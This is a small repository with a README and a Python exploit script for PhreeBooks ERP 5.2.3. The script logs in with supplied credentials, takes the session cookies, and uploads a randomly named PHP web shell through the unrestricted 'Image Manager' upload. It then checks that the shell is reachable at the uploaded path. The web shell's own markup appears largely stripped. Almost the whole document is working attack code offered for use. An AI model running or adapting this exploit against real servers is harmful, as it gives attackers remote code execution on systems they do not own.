├── README.md └── phreebooks-exploit.py /README.md: -------------------------------------------------------------------------------- 1 | # PhreeBooksERP5.2.3-RCE 2 | PhreeBooks ERP 5.2.3 Remote Code Execution due to authenticated unrestricted file upload 3 | 4 | This is a rewrite of the exploit found in exploit-db 5 | (https://www.exploit-db.com/exploits/46645) 6 | -------------------------------------------------------------------------------- /phreebooks-exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | ''' 4 | DESCRIPTION: 5 | - PhreeBooks ERP 5.2.3 is vulnerable to remote code execution 6 | due to authenticated unrestricted file upload in the "Image Manager" 7 | section of the application. 8 | 9 | VULNERABLE VERSION: 10 | - ver 5.2.3 11 | 12 | AUTHOR: 13 | - Kr0ff 14 | 15 | Note: This is a rewrite of exploit: https://www.exploit-db.com/exploits/46645 16 | 17 | Web shell used as payload: https://gist.github.com/joswr1ght/22f40787de19d80d110b37fb79ac3985 18 | ''' 19 | #https://asciiart.website/index.php?art=animals/bees 20 | 21 | try: 22 | import requests 23 | import argparse 24 | import sys 25 | import re 26 | import random 27 | from termcolor import colored 28 | from time import sleep 29 | except ImportError as e: 30 | print(colored("[ERROR]: ", "red"), f"{e}") 31 | 32 | def ascii_art(): 33 | example_usage = "python3 exploit.py -t http://10.10.10.120/phreebooks -u admin@phreebooks.com -p admin" 34 | art = ''' 35 | 36 | \ / 37 | \ o ^ o / 38 | \ ( ) / 39 | ____________(%%%%%%%)____________ 40 | ( / / )%%%%%%%( \ \ ) 41 | (___/___/__/ \__\___\___) 42 | ( / /(%%%%%%%)\ \ ) 43 | (__/___/ (%%%%%%%) \___\__) 44 | /( )\\ 45 | / (%%%%%) \\ 46 | (%%%) 47 | ! 48 | 49 | | _ \ |_ _ _ ___ ___| |__ ___ ___| |__ ___ 50 | | _/ ' \| '_/ -_) -_) '_ \/ _ \/ _ \ / /(_-< 51 | |_| |_||_|_| \___\___|_.__/\___/\___/_\_\/__/ 52 | ___ ___ ___ ___ ___ ___ 53 | | __| _ \ _ \ | _ \/ __| __| 54 | | _|| / _/ | / (__| _| 55 | |___|_|_\_| |_|_\\___|___| v5.2.3 56 | ============================================== 57 | ''' 58 | print(art) 59 | print(example_usage) 60 | print("\r\n==============================================\r\n") 61 | 62 | def exploit(TARGET, USER, PASS): 63 | ''' 64 | PHP WebShell 65 | ''' 66 | web_shell = """ 67 | 68 | 69 |
70 | 71 | 72 |
73 |
 74 | 
 80 | 
81 | 82 | 83 | 84 | """ 85 | 86 | ''' 87 | Perform the login and grab cookies of user 88 | ''' 89 | error_msg = "The information you entered cannot be validated, please retry." 90 | url = f"{TARGET}/index.php?&p=bizuno/portal/login" 91 | headers = {"Accept": "application/json, text/javascript, */*; q=0.01", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "X-Requested-With": "XMLHttpRequest", "Referer": f"{TARGET}/index.php?p=", "Content-Type": "multipart/form-data; boundary=---------------------------211698600840544395022617560470", "Connection": "close"} 92 | login_data=f"-----------------------------211698600840544395022617560470\r\nContent-Disposition: form-data; name=\"UserID\"\r\n\r\n{USER}\r\n-----------------------------211698600840544395022617560470\r\nContent-Disposition: form-data; name=\"UserPW\"\r\n\r\n{PASS}\r\n-----------------------------211698600840544395022617560470\r\nContent-Disposition: form-data; name=\"UserLang\"\r\n\r\nen_US\r\n-----------------------------211698600840544395022617560470--\r\n" 93 | 94 | print(colored("[*]","blue"), f"Logging in using account: \"{USER}\"") 95 | r = requests.post(url, headers=headers, data=login_data, verify=False) 96 | 97 | if error_msg in r.text: 98 | print(colored("[-]","red"), f"Couldn't log in using account: \"{USER}\"...") 99 | print("Something could be wrong, check everything and try again...") 100 | sys.exit(1) 101 | print(colored("[+]","green"), f"Logged in with account: \"{USER}\"") 102 | else: 103 | print(colored("[+]","green"), f"Logged in with account: \"{USER}\"") 104 | 105 | try: 106 | print(colored("[*]","blue"), f"Grabbing cookies...") 107 | get_all_cookies = r.headers['Set-Cookie'] 108 | get_needed_cookies = re.split(r'\s', get_all_cookies)[6].replace(';','').replace('bizunoSession=','').strip() 109 | user_cookie = re.split(r'\s', get_all_cookies)[13].replace(';','').replace('bizunoUser=','').strip() 110 | except IndexError: 111 | print(colored("[-]","red"), f"Couldn't grab cookies...") 112 | print("Something could be wrong, check everything and try again...") 113 | sys.exit(1) 114 | 115 | ''' 116 | Continue with the exploitation part of the exploit 117 | Uploading a file with random name and .php extension, 118 | since "Image Manager" doesn't restrict file types 119 | ''' 120 | 121 | f_name = ''.join(random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(10)) + ".php" 122 | print(colored("[*]","blue"), f"Trying to upload file \"{f_name}\"") 123 | 124 | e_url = f"{TARGET}/index.php?&p=bizuno/image/manager&imgTarget=&imgMgrPath=&imgSearch=&imgAction=upload" 125 | e_cookies = {"bizunoLang": "en_US", "bizunoUser": f"{user_cookie}", "bizunoSession": f"{get_needed_cookies}"} 126 | e_headers = {"Accept": "application/json, text/javascript, */*; q=0.01", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "X-Requested-With": "XMLHttpRequest", "Referer": f"{TARGET}/index.php?", "Content-Type": "multipart/form-data; boundary=---------------------------211698600840544395022617560470", "Connection": "close"} 127 | e_data= f'-----------------------------211698600840544395022617560470\r\nContent-Disposition: form-data; name="imgSearch"\r\n\r\n\r\n-----------------------------211698600840544395022617560470\r\nContent-Disposition: form-data; name="imgFile"; filename="{f_name}"\r\nContent-Type: binary/octet-stream\r\n\r\n{web_shell}\n\r\n-----------------------------211698600840544395022617560470--\r\n' 128 | 129 | u_req = requests.post(e_url, headers=e_headers, cookies=e_cookies, data=e_data, verify=False) 130 | if u_req.status_code == 200: 131 | print(colored("[+]","green"), f"Uploaded file: \"{f_name}\"") 132 | else: 133 | print(colored("[-]","red"), f"Couldn't upload file: \"{f_name}\"") 134 | print("Something could be wrong, check everything and try again...") 135 | sys.exit(1) 136 | 137 | ''' 138 | Perform the execution of the PHP reverse shell 139 | by accessing the path to it 140 | ''' 141 | sreq = requests.get(f"{TARGET}/myFiles/images/{f_name}") 142 | if sreq.status_code == 200: 143 | print(colored("[+]", "green"), f"Webshell is uploaded to: {TARGET}/myFiles/images/{f_name}") 144 | elif sreq.status_code == 404: 145 | print(colored("[-]", "red"), f"Webshell was not uploaded !\r\nCheck your target...") 146 | print("Check if the upload file path is correct in the exploit and in the web application...") 147 | sys.exit(0) 148 | else: 149 | print(colored("[!]", "yellow"), f"Something could be wrong, check everything and try again...\r\n") 150 | sys.exit(1) 151 | 152 | ''' 153 | Initilize parser for arguments 154 | ''' 155 | def parse_argz(): 156 | parser = argparse.ArgumentParser(description='PhreeBooks 5.2.3 Remote Code Execution via Authenticated File Upload ') 157 | parser.add_argument("-t", "--target", help="Target http/s:[IP/HOSTNAME]/phreebooks", type=str, required=True) 158 | parser.add_argument("-u", "--user", help="Email to login as", type=str, required=True) 159 | parser.add_argument("-p", "--passwd", help="Password to authenticate with", type=str, required=True) 160 | args = parser.parse_args(args=None) 161 | 162 | if len(sys.argv) == 1: 163 | parser.print_help() 164 | sys.exit(1) 165 | 166 | TARGET = str(args.target) 167 | USER = str(args.user) 168 | PASS = str(args.passwd) 169 | 170 | exploit(TARGET, USER, PASS) 171 | 172 | if __name__ == "__main__": 173 | try: 174 | ascii_art() 175 | parse_argz() 176 | except Exception as e: 177 | print(colored("[ERROR]","red"), f"-> {e}") 178 | sys.exit(1) 179 | --------------------------------------------------------------------------------